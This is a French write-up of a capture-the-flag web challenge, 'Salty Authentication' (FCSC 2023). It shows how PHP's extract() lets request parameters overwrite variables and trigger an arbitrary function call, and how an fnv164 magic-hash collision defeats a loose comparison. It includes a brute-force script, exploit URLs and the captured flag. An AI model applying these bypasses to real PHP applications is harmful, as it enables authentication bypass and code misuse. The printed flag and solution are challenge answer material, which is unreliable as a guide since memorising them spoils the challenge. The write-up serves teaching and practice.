Salty Authentication

saltyauthentication

Pour ce nouveau challenge Web, nous avons droit à un joli code source en PHP.

Présentation

screenshot1

Regardons un peu plus en détail ce code source.

<?php

error_reporting(0);

include('flag.php');
$salt = bin2hex(random_bytes(12));

extract($_GET);

$secret = gethostname() . $salt;

if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
   if (hash('fnv164', $password) == hash('fnv164', $secret)) {
       exit(htmlentities($flag));
   } else {
       echo('Wrong password!');
       exit($log_attack());
   }
}

highlight_file(__FILE__);

?>

La première ligne désactive l'affichage des erreurs.

Ensuite, nous avons l'inclusion d'un fichier PHP flag.php qui contient le flag que nous voulons afficher.

La ligne suivante génère une suite de 12 octets générés aléatoirement et convertis en hexadécimal.

Celle d'après fait appel à la fonction extract; cette fonction PHP permet de convertir des variables GET en variables PHP.

Puis, nous avons une variable $secret qui contient le hostname de la machine concaténée au contenu de la variable $salt

Nous avons ensuite une condition qui dit :

Si la variable $password

Que la chaîne de caractère contenue dans la variable $password a la même longueur que le contenu de la variable $secret

Que le contenu de la variable $password est strictement différent du contenu de la variable $secret

Alors si :

le condensat de la fonction de hachage fnv164 du contenu de la variable $password  est égal au condensat de la fonction de hachage fnv164 du contenu de la variable $secret

  • Alors on affiche le flag

Sinon :

  • On affiche la chaîne de caractère Wrong password!
  • On quitte le programme en exécutant une fonction dont le nom de la fonction est égal au contenu de la variable $log_attack

Sinon, on affiche le code source du fichier qui contient ce code.

Analyons tout ça

Nous pouvons ici remarquer 2 choses qui clochent dans ce programme :

Grâce à la fonction extract, nous pouvons surcharger la variable $logger_attack mais aussi les variables $password et $salt.

Nous allons utiliser ces surcharges pour connaître le hostname de la machine

screenshot2

En appelant l'URL https://salty-authentication.france-cybersecurity-challenge.fr/?password=aaaaaaaccsda1&salt=1&log_attack=gethostname, on surcharge les variables $logger_attack, $password et $salt pour résoudre la condition if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret). Vu que les condensats entre $password et $secret sont différents, nous rentrons dans le cas où le mot de passe est faux. Cela déclenche l'appel à la fooncton définie dans la variable $logger_attack (ici gethostname).

Nous conaissons donc le hostname de la machine : 9be4a60f645f

Loose comparaison

Maintenant, intéressons-nous à la loose comparaison.
Il faudrait trouver un moyen d'avoir une égalité entre 2 valeurs différentes.

Les loose comparaison sont connues pour permettre l'exploitation de collision. En cherchant sur internet, on peut tomber sur les "Magic hashes" : https://offsec.almond.consulting/super-magic-hash.html.

On voit dans cet article que sur les loose comparaison, on peut avoir une égalité sur des condensats commençant toutes deux par 0e.

Faisons un script PHP permettant de trouver 2 condensats différents qui valident la loose comparaison à partir du hostname de la machine :

<?php

$hostname = "9be4a60f645f";


$found = false;
while(!$found){
    $foundhash = "";
    $hash1 = "";
    $word1 = "";
    while(!$found) {
    	$word1 = $hostname.bin2hex(random_bytes(18));
    	$hash = hash('fnv164', $word1);
    	if (preg_match('/^0e/', $hash)){
    		echo "Found hash : " . $hash . PHP_EOL;
    		echo "Strart string : " . $word1 . PHP_EOL;
    		$hash1 = $hash;
    		$found = true;
    	}
    }

    $found = false;

    $hash2 = "";
    $word2 = "";
    while(!$found) {
    	$word2 = $hostname.bin2hex(random_bytes(18));
    	$hash = hash('fnv164', $word2);
    	if (preg_match('/^0e/', $hash)){
    		echo "Found hash : " . $hash . PHP_EOL;
    		echo "Strart string : " . $word2 . PHP_EOL;
    		$hash2 = $hash;
    		$found = true;
    	}
    }

    $found = false;

    if ($hash1 == $hash2) {
	echo "word1 : " . $word1 . PHP_EOL;
	echo "word2 : " . $word2 . PHP_EOL;
	echo "result hash 1 : " . hash('fnv164', $word1) . PHP_EOL;
	echo "result hash 2 : " . hash('fnv164', $word2) . PHP_EOL;
        $found = true;
    }
}

Décortiquons un peu tout ça

On a une boucle qui tourne tant qu'une correspondance entre 2 hashes différents et de même taille n'ont pas été trouvés.

Dans cette boucle, nous avons 2 autres boucles while.

Dans la première boucle while imbriquée :

  • Nous générons une valeur aléatoire de 18 caractères que l'on concatène à la variable $hostname
  • Si le résultat de la fonction de hachage fnv164 commence par 0e, alors on affiche la valeur trouvée et on stocke le résultat de la concaténation du hostname et de la valeur aléatoirement générée dans une variable $word1. On en profite pour passer la variable $found à true pour arrêter la boucle while (on aurai pu aussi utiliser l'instruction break).
  • Nous faisons exactement la même chose pour la seconde boucle pour avoir un autre condensat commençant par 0e aussi.

Ensuite, on compare les 2 condensats avec l'opérateur == pour déclencher une loose comparaison. On affiche les 2 chaînes de caractères initiales qui valident cette condition.

On exécute ce script :

┌──(kali㉿kali)-[~/FCSC/2023/Web/SaltyAuthentication]
└─$ php test.php
Found hash : 0ebc0f13e9e3a3b9
Strart string : 9be4a60f645faca33dcdb553f53c76c0a84cd10a3f479e3a
Found hash : 0ea67444ef7bb508
Strart string : 9be4a60f645ff38ed08c5c85c567a25356d80eb38ac42279
Found hash : 0e8877b355eed17b
Strart string : 9be4a60f645f0e65a09adc46fc9eade21cbc54cb759341f9
Found hash : 0eb844e53935d447
Strart string : 9be4a60f645fb548d65be7996ef2a925f62837a5de18e267
[...]
Found hash : 0e21c5e28c383607
Strart string : 9be4a60f645f4e82f593f06d74383c2a2228ab46725632a6
Found hash : 0ea98be2fbcf7374
Strart string : 9be4a60f645ff82dfb35fef3c83ed7ce995d0efed9be3f85
Found hash : 0e968e69ad05f37d
Strart string : 9be4a60f645f13c6857cb9bb77e48ec45061dbb08c18406f
Found hash : 0ebbe9009723181a
Strart string : 9be4a60f645f86f12cb026e04b6fe219d633f509d9949be3
Found hash : 0e1f0cceff132442
Strart string : 9be4a60f645fa1ea6615cd86a94fd85cec8b5d4078012344
Found hash : 0eb9b6a9b95c54ac
Strart string : 9be4a60f645f6967032457f539ec90e3b1f4538eec9de87e
Found hash : 0ec2ae61db01f2d5
Strart string : 9be4a60f645ff68e0db0c470d6c392b4463ef069cb706f83
Found hash : 0e40611935479589
Strart string : 9be4a60f645f222d5b3d0908c170a820db399f6199950687
Found hash : 0e88626642028121
Strart string : 9be4a60f645f91dda8b8d1a52d7e00af84a8e402163c7254
word1 : 9be4a60f645f222d5b3d0908c170a820db399f6199950687
word2 : 9be4a60f645f91dda8b8d1a52d7e00af84a8e402163c7254
result hash 1 : 0e40611935479589
result hash 2 : 0e88626642028121

Bingo, nous avons 2 chaînes de caractères qui produisent 2 condensats différents de même taille qui valident la condition de la loose comparaison.

Appelons donc l'URL suivante pour afficher le flag : https://salty-authentication.france-cybersecurity-challenge.fr/?password=9be4a60f645f91dda8b8d1a52d7e00af84a8e402163c7254&salt=222d5b3d0908c170a820db399f6199950687

Avec : $password = 9be4a60f645f91dda8b8d1a52d7e00af84a8e402163c7254 et $salt = 222d5b3d0908c170a820db399f6199950687 (soit 9be4a60f645f222d5b3d0908c170a820db399f6199950687 moins le nom de la machine trouvé précédemment 9be4a60f645f puisqu'il est concaténé dans le code vu plus haut).

Résultat :

screenshot3
FCSC{d090643090b9ac9dd7cddc1d830f0457213e5b50e7a59f1fe493df69c60ac054}
Lolcat